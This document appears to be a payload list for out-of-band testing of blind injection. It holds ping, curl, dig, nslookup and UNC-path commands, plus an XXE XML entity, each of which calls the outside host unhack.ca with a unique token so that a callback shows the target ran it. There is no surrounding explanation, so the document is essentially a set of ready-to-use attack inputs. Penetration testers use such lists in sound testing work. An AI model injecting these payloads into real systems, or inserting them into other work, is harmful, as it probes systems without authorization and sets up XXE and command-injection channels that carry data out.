$ ping -c1 -p 001119890dfa9b29f752174bca67aa00 unhack.ca
 

$ curl http://unhack.ca/p/1119890dfa9b29f752174bca67aa
 

$ dig 1119890dfa9b29f752174bca67aa @unhack.ca
 

$ dig 1119890dfa9b29f752174bca67aa.ns.unhack.ca
 

C:\> nslookup 1119890dfa9b29f752174bca67aa unhack.ca
 

C:\> type \\unhack.ca\1119890dfa9b29f752174bca67aa\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1119890dfa9b29f752174bca67aa">]>
    <foo>&xxe;</foo>